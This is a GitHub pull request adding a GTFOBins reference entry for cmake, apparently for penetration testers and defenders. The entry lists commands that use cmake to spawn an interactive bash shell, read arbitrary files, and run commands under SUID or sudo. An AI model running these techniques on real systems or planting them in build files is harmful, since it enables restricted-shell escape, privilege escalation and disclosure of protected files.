Skip to content

Added entry for 'cmake' binary #487

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 24 additions & 0 deletions _gtfobins/cmake.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
---
functions:
shell:
- description: It can be used to break out from a restricted environment by spawning an interactive system shell.
code: |
echo "execute_process(COMMAND bash -i)" > CMakeLists.txt
cmake .
file-read:
- description: It can read files, and may be used to perform privileged reads or discloe files outside a restrited file system
code: |
LFILE=file_to_read
cmake -E cat $LFILE

limited-suid:
- description: It can perform execution in a privileged context, given the SUID bit is set
code: |
echo "execute_process(COMMAND whoami)" > CMakeLists.txt
cmake .
sudo:
- description: It can perform execution in a privileged context, given the user can run the binary with sudo
code: |
echo "execute_process(COMMAND bash -i)" > CMakeLists.txt
sudo cmake .
---